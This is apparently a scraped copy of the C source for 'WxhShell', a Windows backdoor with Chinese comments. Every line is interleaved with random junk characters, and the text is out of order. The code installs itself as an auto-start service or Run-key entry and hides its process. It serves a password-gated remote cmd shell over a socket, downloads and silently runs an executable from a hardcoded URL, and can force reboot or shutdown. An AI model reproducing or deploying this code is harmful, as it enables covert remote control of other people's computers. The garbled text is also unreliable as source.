    if(Boot(SHUTDOWN)) <,O| fY%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>KQ8:  
    else { 5n>zJ ~  
    closesocket(wsh); lre(]oBXA  
    ExitThread(0); 9/8+R%  
    } Eva&FHRTY  
    break; q !}~c  
    } t(UBs-t  
  // 获取shell -c8h!.Q$  
  case 's': { ]hlQU%&  
    CmdShell(wsh); yz3=#  
    closesocket(wsh); w?_'sP{pd  
    ExitThread(0); d?5oJ'JU  
    break; v#9i|  
  } ~d<&OL  
  // 退出 L5:1dF  
  case 'x': { u=PLjrB~}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y:zNf?6&  
    CloseIt(wsh); p1GP@m,^n0  
    break; P7X3>5<;q  
    } H9;IA>  
  // 离开 yz>S($u  
  case 'q': { eF0FQlMe[  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); modem6#x'  
    closesocket(wsh); ,ZYPffu<*  
    WSACleanup(); E i2M~/  
    exit(1); ?]*"S{Cqv  
    break; lV./K;\T  
        } c8zok `\P_  
  } lwG)&qyVd  
  } non5e)w3@  
i u0'[  
  // 提示信息 ]T40VGJ:h  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mq}uq9<  
} $Ups9pQ  
  } $PlMyLu7jc  
',D%,N}J  
  return; c<Ud[x.  
} )2^r 0(x  
[Ak 0kH >  
// shell模块句柄 &\ad.O/Q  
int CmdShell(SOCKET sock) %ol1WG9  
{ svt3gkR0  
STARTUPINFO si; SgN?[r)  
ZeroMemory(&si,sizeof(si)); ,l,q;]C%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PgP\v-.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _K!)0p  
PROCESS_INFORMATION ProcessInfo; 1<Uv4S  
char cmdline[]="cmd"; <jaQ 0S{|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ofb&W AD  
  return 0; 9B>P Qbs  
} !4z vkJO  
zlkW-rRkR  
// 自身启动模式 F[B=sI  
int StartFromService(void) SY}"4=M?l  
{ !X[7m  
typedef struct #*S.26P^4  
{ B oiS  
  DWORD ExitStatus; #B!M,TWf9s  
  DWORD PebBaseAddress; wT,=C'  
  DWORD AffinityMask; UQP>yuSx  
  DWORD BasePriority; D mky!Cp  
  ULONG UniqueProcessId; rzvKvGd#N  
  ULONG InheritedFromUniqueProcessId; G2sj<F=AV  
}   PROCESS_BASIC_INFORMATION; mM{cH=  
S C}@eA'  
PROCNTQSIP NtQueryInformationProcess; ^q|W@uG-(  
Otf{)f  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D O||o&u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i;juwc^n}  
 5IF$M2j  
  HANDLE             hProcess; );n/G  
  PROCESS_BASIC_INFORMATION pbi; *!dA/sid  
h7o.RRhK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eYu0")  
  if(NULL == hInst ) return 0; Wu$yB!  
zW)Wt.svP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &$l#0?Kc^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M23r/eg]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); sN#ju5  
$>+g)  
  if (!NtQueryInformationProcess) return 0; ":GC}VIS  
C\dk} A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); M0 KU}h  
  if(!hProcess) return 0; YPCitGBl  
(S?DKPnR  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #ZP;] W  
|WOc0M[U  
  CloseHandle(hProcess); cF?0=un  
GY^;$?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1<*U:W $g  
if(hProcess==NULL) return 0; ~_g{P3  
q[/pE7FL  
HMODULE hMod; !?+q7U  
char procName[255]; T4[/_;1g  
unsigned long cbNeeded; V\l@_%D[(v  
Y4_xV&   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kJNwA8 7  
g=,}j]tl  
  CloseHandle(hProcess); p  UW7p  
w~Vqg:'\$  
if(strstr(procName,"services")) return 1; // 以服务启动 8lA,3'z  
(vvD<S*  
  return 0; // 注册表启动 < $otBC/%  
} 8%xBSob{j  
6E9/ z  
// 主模块 ZE~zs~z|  
int StartWxhshell(LPSTR lpCmdLine) \<G"9w  
{ 1X9s\JKQ  
  SOCKET wsl; jp^Sw|  
BOOL val=TRUE; ]]3rSXs2}J  
  int port=0; (mKH,r  
  struct sockaddr_in door; 7q 5 *grm  
YhqMTOw  
  if(wscfg.ws_autoins) Install(); @2 *Q*  
;oDr8a<A  
port=atoi(lpCmdLine); 8F@Sy,D  
ZmNNR 1%/  
if(port<=0) port=wscfg.ws_port; siT`O z|,  
5C^@w  
  WSADATA data; 9 %i\)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dg{d^>T!_x  
N^@:+,<3  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;[(d=6{hc]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9cU9'r# h  
  door.sin_family = AF_INET; x{tlC}t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); dM P'Vnfj  
  door.sin_port = htons(port); GG +T-  
n${k^e-=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r\Yh'cRW{  
closesocket(wsl);  KLE)+|  
return 1; \iP@|ay9  
} Ym! e}`A\F  
Eh|,[ D!E  
  if(listen(wsl,2) == INVALID_SOCKET) { BenyA:W"  
closesocket(wsl); XoL DqN!  
return 1; I~@8SSO,vH  
} Z@f{f:Jc/"  
  Wxhshell(wsl); gq/Za/ !6  
  WSACleanup(); b78~{h t`  
!2Z"Lm  
return 0; 5gqs"trF  
Q~VM.G  
} /kg#i&bP~  
u *rP 8GuS  
// 以NT服务方式启动 (V]3w  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) P)J-'2{  
{ 't0M+_J  
DWORD   status = 0; 6Io}3}3  
  DWORD   specificError = 0xfffffff; L/`1K_\l  
w D r/T3  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :zLf~ W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T<? kH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; FO:L+&hr?>  
  serviceStatus.dwWin32ExitCode     = 0; ^\?Rh(pu  
  serviceStatus.dwServiceSpecificExitCode = 0; s&-MJ05y  
  serviceStatus.dwCheckPoint       = 0; aekke//y  
  serviceStatus.dwWaitHint       = 0; w}zmcO:x  
?+^p$'5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a.}#nSYP  
  if (hServiceStatusHandle==0) return; {\P%J:s#9  
0doJF@H  
status = GetLastError(); IDFzyg_  
  if (status!=NO_ERROR) E G\;l9T  
{ /lu|FWbEw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %Uz\P|6PO  
    serviceStatus.dwCheckPoint       = 0; b/]4#?g  
    serviceStatus.dwWaitHint       = 0; f:<BUqa  
    serviceStatus.dwWin32ExitCode     = status; f17E2^(I(}  
    serviceStatus.dwServiceSpecificExitCode = specificError; }^ ,D~b-nB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 31alQ\TH  
    return; r]Wt!oHm5  
  } {7z]+h  
Rqp#-04*W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >RAg63!`  
  serviceStatus.dwCheckPoint       = 0; #~"IlBk\  
  serviceStatus.dwWaitHint       = 0; ,_Bn{T=U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NR1M W^R  
} k4{|Xn  
]rH[+t-  
// 处理NT服务事件,比如:启动、停止 ?X@[ibH6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) %oTBh*K'o  
{ HbsNF~;  
switch(fdwControl) Opcszq5n  
{ h72/03!  
case SERVICE_CONTROL_STOP: aaT3-][  
  serviceStatus.dwWin32ExitCode = 0; j2UQQFh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e&d$kUJrq  
  serviceStatus.dwCheckPoint   = 0; \GxqE8  
  serviceStatus.dwWaitHint     = 0; #]tDxZ] 6  
  { ]0ErT9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #?>)5C\Hqy  
  } ]Z8u0YtM)  
  return; ?{J1Uw<  
case SERVICE_CONTROL_PAUSE: 3zD#V3 =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GyN|beou  
  break; C|TQf8  
case SERVICE_CONTROL_CONTINUE: >Wt@O\k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9$ ;5J  
  break; -oyA5Y x0  
case SERVICE_CONTROL_INTERROGATE: `?(J(H  
  break; &l1t5 !  
}; A%Ka)UU+n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Pg(Y}Tu  
} oMj"l#a*  
,#3Aaw   
// 标准应用程序主函数 EHm*~Sd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) e,_Sj(R8  
{ J'X}6Q  
4J_HcatOB  
// 获取操作系统版本 `y.4FA4"8  
OsIsNt=GetOsVer(); xsj ,l@Ey  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K6p\ >J  
nsU7cLf"^V  
  // 从命令行安装 B?=R= p  
  if(strpbrk(lpCmdLine,"iI")) Install(); F{E@snc  
W6NhJ#M7  
  // 下载执行文件 !6=;dX  
if(wscfg.ws_downexe) { &|GH@^)@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M=pQx$%a  
  WinExec(wscfg.ws_filenam,SW_HIDE); S W%>8  
} bXF8V  
[+dCA  
if(!OsIsNt) { ~Dq-q6-@t  
// 如果时win9x,隐藏进程并且设置为注册表启动 q| 1%G Nb  
HideProc(); ~&D =;M/  
StartWxhshell(lpCmdLine); `mz}D76~#  
} C?gqX0[ q  
else 04Zdg:[3-!  
  if(StartFromService()) ]?@ [Ny=0  
  // 以服务方式启动 ;7:} iKU  
  StartServiceCtrlDispatcher(DispatchTable); ~ O#\$u  
else SQ4^sk_!  
  // 普通方式启动 cLf90|YFp  
  StartWxhshell(lpCmdLine); L{%L*z9J  
,5;M(ft#  
return 0; %u66H2  
} uD=Kar  
yC\UT ~j/  
t;w<n"  
<PDCM8  
=========================================== !?JZ^/u  
pS+w4gW  
?;~E*kzO&  
oLKliA=q  
M^:JhX{  
B.5+!z&7  
" e3SnC:OWf  
Az:~|P  
#include <stdio.h> 5WHz_'c  
#include <string.h> zU&Iy_Ke.  
#include <windows.h> q@bye4Ry%W  
#include <winsock2.h> 'fU#v`i  
#include <winsvc.h> p-.kBF  
#include <urlmon.h> O^8ZnN_+  
;O`f+rG~  
#pragma comment (lib, "Ws2_32.lib") dfdK%/' $(  
#pragma comment (lib, "urlmon.lib") e7;7TrB.  
:KO&j"[  
#define MAX_USER   100 // 最大客户端连接数 j;`Q82V\  
#define BUF_SOCK   200 // sock buffer Hvk~BP' m  
#define KEY_BUFF   255 // 输入 buffer /ZV2f3;t  
P-4$Qksx  
#define REBOOT     0   // 重启 m)p|NdTZc8  
#define SHUTDOWN   1   // 关机 (dSYb&]  
)\u%XFPhS  
#define DEF_PORT   5000 // 监听端口 y7F |v8bq  
90W= v*  
#define REG_LEN     16   // 注册表键长度 }[JB%  
#define SVC_LEN     80   // NT服务名长度 UVD D)  
M@{?#MkS%  
// 从dll定义API Y bJg{Sb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); HC$%"peN1b  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wf3BmkZzz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); GbQi3%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !lNyoX/  
; oa+Z:;f  
// wxhshell配置信息 (7G4v  
struct WSCFG { )]C]KB  
  int ws_port;         // 监听端口 rah"\f2  
  char ws_passstr[REG_LEN]; // 口令 %oa@2qJ^  
  int ws_autoins;       // 安装标记, 1=yes 0=no GO"|^W  
  char ws_regname[REG_LEN]; // 注册表键名 bfz7t!A)A  
  char ws_svcname[REG_LEN]; // 服务名 ~ q-Z-MA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 C7{VByxJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qF~9:`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Mn ,hmIz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >1!u]R<3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G%bv<_R  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J "I,]  
8S8qj"s  
}; #b;?:.m\=  
zz U,0 L  
// default Wxhshell configuration gP QOv  
struct WSCFG wscfg={DEF_PORT, Mrrpm% Y  
    "xuhuanlingzhe", sr;&/l#7h  
    1, >ZOlSLu  
    "Wxhshell", BQ Pmo1B  
    "Wxhshell", gaz7u8$A=  
            "WxhShell Service", }2;P`s  
    "Wrsky Windows CmdShell Service", b69nj  
    "Please Input Your Password: ", G"F O%3&|  
  1, O+o)z6(  
  "http://www.wrsky.com/wxhshell.exe", F M6{%}4  
  "Wxhshell.exe" )&O2l  
    }; aDRcVA$*  
{`SMxDevc}  
// 消息定义模块 : b`N(]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; &q<k0_5Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Nksm&{=6S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]6Iu\,#J  
char *msg_ws_ext="\n\rExit."; >} 2C,8N  
char *msg_ws_end="\n\rQuit."; ys=} V|  
char *msg_ws_boot="\n\rReboot..."; D?_K5a&v,  
char *msg_ws_poff="\n\rShutdown..."; "G@K(bnHn  
char *msg_ws_down="\n\rSave to "; l0,VN,$Yl  
Z4/D38_  
char *msg_ws_err="\n\rErr!"; gV.?Myy  
char *msg_ws_ok="\n\rOK!"; ^o5;><S]  
rB".!b  
char ExeFile[MAX_PATH]; 1+*sEIC"  
int nUser = 0;  'l5  
HANDLE handles[MAX_USER]; lW| =rq-|  
int OsIsNt; x,mt}>  
-6DRX  
SERVICE_STATUS       serviceStatus; C1NU6iV^z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U 2YY   
tsg`c;{  
// 函数声明 =OF hM7  
int Install(void); '/xynk%)xw  
int Uninstall(void); '=$`NG8 l  
int DownloadFile(char *sURL, SOCKET wsh); m'}`+#C%)  
int Boot(int flag); mce qZv  
void HideProc(void); B{Vc-qJ  
int GetOsVer(void); |^Y"*Y4*h  
int Wxhshell(SOCKET wsl); )$TN%hV!  
void TalkWithClient(void *cs); :8@)W<>%  
int CmdShell(SOCKET sock); 2p, U ^h  
int StartFromService(void); nlB'@r  
int StartWxhshell(LPSTR lpCmdLine); v Z]j%c@  
4o}{3 ! m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); n}a`|Nbk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A4f"v)vM  
@Pcgm"H<  
// 数据结构和表定义 m"~ddqSMT  
SERVICE_TABLE_ENTRY DispatchTable[] = crv#IC2  
{ nV8'QDQ:Al  
{wscfg.ws_svcname, NTServiceMain}, TXi|  
{NULL, NULL} z"mVE T  
}; \ 86 g y/  
OD~Q|I(j  
// 自我安装 t4UK~ {gh  
int Install(void) H Y5R  
{ 2!-Q!c`y  
  char svExeFile[MAX_PATH]; `W1uU=c  
  HKEY key; KMi$0+  
  strcpy(svExeFile,ExeFile); >s/_B//[  
[;ZCq!)>  
// 如果是win9x系统,修改注册表设为自启动 s]99'Q",  
if(!OsIsNt) { @H`jDaB 9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZX&e,X~V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pZS]i "  
  RegCloseKey(key); ^|Z'}p|&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a&JY x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3}\z&|  
  RegCloseKey(key); z` 6$p1U  
  return 0; y%vAEQ2j=  
    } `0ym3}(O  
  } !T<,fR+8X  
} X(/fE?%;  
else { E\D,=|Mul  
Zo2+{a  
// 如果是NT以上系统,安装为系统服务 H4`>B>\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \Ebh6SRp\  
if (schSCManager!=0) b|AjB:G  
{ wzy[sB274  
  SC_HANDLE schService = CreateService J#C4A]A  
  ( +#wVe  
  schSCManager, H,TApF89A  
  wscfg.ws_svcname, "=DQ {(L  
  wscfg.ws_svcdisp, WwsNAJ  
  SERVICE_ALL_ACCESS, 1f+A_k/@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;O)*!yA(GG  
  SERVICE_AUTO_START, e^ N~)Nlj  
  SERVICE_ERROR_NORMAL, #"-_~  
  svExeFile, KH#z =_  
  NULL, 5nib<B%<V  
  NULL, ;!f~  
  NULL, `r1j>F7Xb  
  NULL, KC}G_"f.$  
  NULL gnZ#86sO  
  ); J=Kv-@I>E  
  if (schService!=0) Mw,]Pt6~i  
  { %pjY^tM/  
  CloseServiceHandle(schService); @ ,oc%m  
  CloseServiceHandle(schSCManager); 3q`f|r  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); MD$W;rk(Hn  
  strcat(svExeFile,wscfg.ws_svcname); }^$#vJ(a7K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ffk >IOH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .X3n9]  
  RegCloseKey(key); 7ucm1   
  return 0; Mhn1-ma:  
    } @$kO7k0{g  
  } \2+ngq)  
  CloseServiceHandle(schSCManager); CRCy)AS,t  
} uq[5 om"  
} .Bkfe{^  
l4$ sku-  
return 1; Eg1TF oIWl  
} ??e|ec2%  
(&79}IEd  
// 自我卸载 &iu]M=Y b  
int Uninstall(void) 4 ;_g9]  
{ }=f\WWJf0  
  HKEY key; qQ]fM$!  
#Ev}Gf+5Q  
if(!OsIsNt) { \3ydNgl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aJv+BX_,  
  RegDeleteValue(key,wscfg.ws_regname); 0.+Eo.AX4M  
  RegCloseKey(key); i?d545. u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0;LF>+fJ  
  RegDeleteValue(key,wscfg.ws_regname); XSof{:V  
  RegCloseKey(key); xKBi".wA  
  return 0; U*{0,Ue'  
  } W2-l_{  
} Pi1LOCq  
} g]h@U&`~u_  
else { pvl];w  
eXsp0!v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~rI2 RJ  
if (schSCManager!=0) 6wpu[  
{ fk15O_#3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fX:q ]  
  if (schService!=0) n}Eu^^d  
  { 2?LPr  
  if(DeleteService(schService)!=0) { :mDOqlXW/  
  CloseServiceHandle(schService); 4/{pz$  
  CloseServiceHandle(schSCManager); bHm/ZZx  
  return 0; RLex#j  
  } 13 L&f\b  
  CloseServiceHandle(schService); Z2*?a|3  
  } >q?{'#i /  
  CloseServiceHandle(schSCManager); Iu0GOy*[  
} Zc38ht\r;  
} G"3KYBN>  
2sgp$r  
return 1; lAG@nh^  
} wvisu\V  
O0rvr$.  
// 从指定url下载文件 WF~x`w&\  
int DownloadFile(char *sURL, SOCKET wsh) -4Dz9 8du  
{ J*K=tA  
  HRESULT hr; 6qmV/DL  
char seps[]= "/"; ^PE|BCs  
char *token; J"h2"$v,  
char *file; Ki:t!vAO  
char myURL[MAX_PATH]; W,,3@:  
char myFILE[MAX_PATH]; M`Wk@t6>  
Ui"$A/  
strcpy(myURL,sURL); % &H^UxC  
  token=strtok(myURL,seps); d14@G4#Bd  
  while(token!=NULL) 3&E@#I^] ,  
  { GNwFB)?j  
    file=token; pHoxw|'Y  
  token=strtok(NULL,seps); ;#Qv )kS*  
  } |'o<w ]hc  
}9B},  
GetCurrentDirectory(MAX_PATH,myFILE); c>c4IQ&d  
strcat(myFILE, "\\"); <o|k'Y(-  
strcat(myFILE, file); W:WRG8(F  
  send(wsh,myFILE,strlen(myFILE),0); FB,rQ9D  
send(wsh,"...",3,0);  xi<}n#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); H,EZ% Gl  
  if(hr==S_OK) # ax% n  
return 0; qKeR}&b  
else e50xcf1u  
return 1; RxPD44jVA  
,G?Kb#  
} o9M r7  
JAMV@  
// 系统电源模块  Hi\z-P-  
int Boot(int flag) 'tQp&p j  
{ m,6u+Z ,  
  HANDLE hToken; )VG>6x  
  TOKEN_PRIVILEGES tkp; EN}4-P/5  
X$t!g`  
  if(OsIsNt) { /-^{$$eu  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?hp,h3s;n$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); FL$S_JAw  
    tkp.PrivilegeCount = 1; NYxL7:9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; X g7xy>{]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nD 4C $  
if(flag==REBOOT) { OYa9f[$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) hSps9*y  
  return 0; Mbly-l{|  
} v$;URF%^  
else { L"T :#>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \7o7~pll  
  return 0; l\m7~  
} :UKc:JVNM  
  } [oXr6M:  
  else { WkpHe  
if(flag==REBOOT) { cs:?Wq ^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,a2=OV  
  return 0; ~Kt+j  
} }KftV nD?  
else { CqX*.j{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r#}o +3*  
  return 0; 9RK.+ 2  
} ~e]l  
} S,Qa\\~z  
c4Q%MRR  
return 1; h]Gvt 5  
} {?mb.~(  
e+ m(g  
// win9x进程隐藏模块 TOvsW<cM  
void HideProc(void) 1:|o7`  
{ ! bwy/A  
i8*(J-M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m.5@q mQ  
  if ( hKernel != NULL ) %r(qQM.Pl  
  { B" ]a8}u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :hf%6N='kI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fNrpYR X  
    FreeLibrary(hKernel); x.I?)x!C'  
  } pG v*{.  
5RF*c,cNq  
return; 3?+t%_[  
} a]8W32  
AJoP3Zv|?  
// 获取操作系统版本 $>wN:uN(  
int GetOsVer(void) }n,LvA@[0  
{ I;{Ua *  
  OSVERSIONINFO winfo; $9 G".T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x_(K%0+Ca  
  GetVersionEx(&winfo); L5wFbc"u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zP$"6~.  
  return 1; ,nUovWN07  
  else 2UBAk')O}  
  return 0; ' 1dhdm8  
} (3j f_  
0OtUb:8LX  
// 客户端句柄模块 kWC xc0  
int Wxhshell(SOCKET wsl) b: I0Zv6  
{ #A< |qd  
  SOCKET wsh; oRmA\R*  
  struct sockaddr_in client; ,K.Wni#m  
  DWORD myID; rF/<}ye/4M  
P (fWJVF7  
  while(nUser<MAX_USER) FaaxfcIfkw  
{ _akpW  
  int nSize=sizeof(client); )<5hga][~a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7?uIl9Vk>(  
  if(wsh==INVALID_SOCKET) return 1; SU.$bsu  
HoZsDs.XZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ji5Nq+S2  
if(handles[nUser]==0) q9Lq+4\  
  closesocket(wsh); bhW&,"$Z  
else b>& 3 XDz  
  nUser++; Ma ]*Pled  
  } d @b ]/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mU>lm7'  
D@ BP<   
  return 0; [q|8.>sB  
} "~08<+  
/ !hxW}>^  
// 关闭 socket LiEDTXRz  
void CloseIt(SOCKET wsh) T^2o' _:  
{ J c:j7}OOV  
closesocket(wsh); 22EI`}"J  
nUser--; 80LN(0?x  
ExitThread(0); L,sXJ23.  
} 07vzVsQ}p  
G;J!3A;TE  
// 客户端请求句柄 KP gzB^>  
void TalkWithClient(void *cs) 6PLdzZ{  
{ 8y]{I^z}  
~[0^{$rrWs  
  SOCKET wsh=(SOCKET)cs; jq(rnbV  
  char pwd[SVC_LEN]; ~01t_Xp qc  
  char cmd[KEY_BUFF]; wqJ1^>TB  
char chr[1]; v;Rm42k  
int i,j; X D \;|  
iMF-TR  
  while (nUser < MAX_USER) { *zv*T"&ZP  
3o_@3-Y%  
if(wscfg.ws_passstr) { n7bML?f'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F441K,I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TcH7!fUj  
  //ZeroMemory(pwd,KEY_BUFF); 88zK)k{  
      i=0; "X-"uIc  
  while(i<SVC_LEN) { &hIr@Gi@ch  
a=*JyZ.2  
  // 设置超时 -D wO*f  
  fd_set FdRead; Az6tu <  
  struct timeval TimeOut; `m-7L  
  FD_ZERO(&FdRead); 2Jt*s$  
  FD_SET(wsh,&FdRead); Y-]Ne"+vf  
  TimeOut.tv_sec=8; %WFZ&>en&  
  TimeOut.tv_usec=0; K^c%$n:}+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P5Pb2|\*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gnw?Y 2  
 9 -Xr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t0 )XdIl8  
  pwd=chr[0]; ~L9I@(/ S  
  if(chr[0]==0xd || chr[0]==0xa) { G]gc*\4  
  pwd=0; \C"hL(4-  
  break; A 7zL\U4  
  } KH9D},  
  i++; 2E@y0[C?  
    } 'A'[N :i  
_{?-=<V'_  
  // 如果是非法用户,关闭 socket u X+ YH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2:;;  
} f SMy?8  
{w<"jw&2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g ?{o2gG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ulNMqz\.  
M)sAMfuUw  
while(1) { !5>PZ{J  
X`fer%`  
  ZeroMemory(cmd,KEY_BUFF); a}'dIDj  
)^j62uv  
      // 自动支持客户端 telnet标准   0uJ??4N9  
  j=0; oGz5ZDa#  
  while(j<KEY_BUFF) { iB5'mb*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |}wT/3>\  
  cmd[j]=chr[0]; X> U _v  
  if(chr[0]==0xa || chr[0]==0xd) { @$5= 4HA  
  cmd[j]=0; y`J8hawp  
  break; #E4|@}30`  
  } Dh)(?"^9A  
  j++; @J<RFgw#  
    } j-7aJj%  
Fq'Ds[wd5  
  // 下载文件 m Q^SpK #  
  if(strstr(cmd,"http://")) { %(:{TR  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); @81N{tg-  
  if(DownloadFile(cmd,wsh)) pSodT G$E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ceew~n{  
  else tiF-lq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sn[/'V^$a  
  } T%SK";PAU$  
  else { | &/_{T  
^#4Ah[:XA  
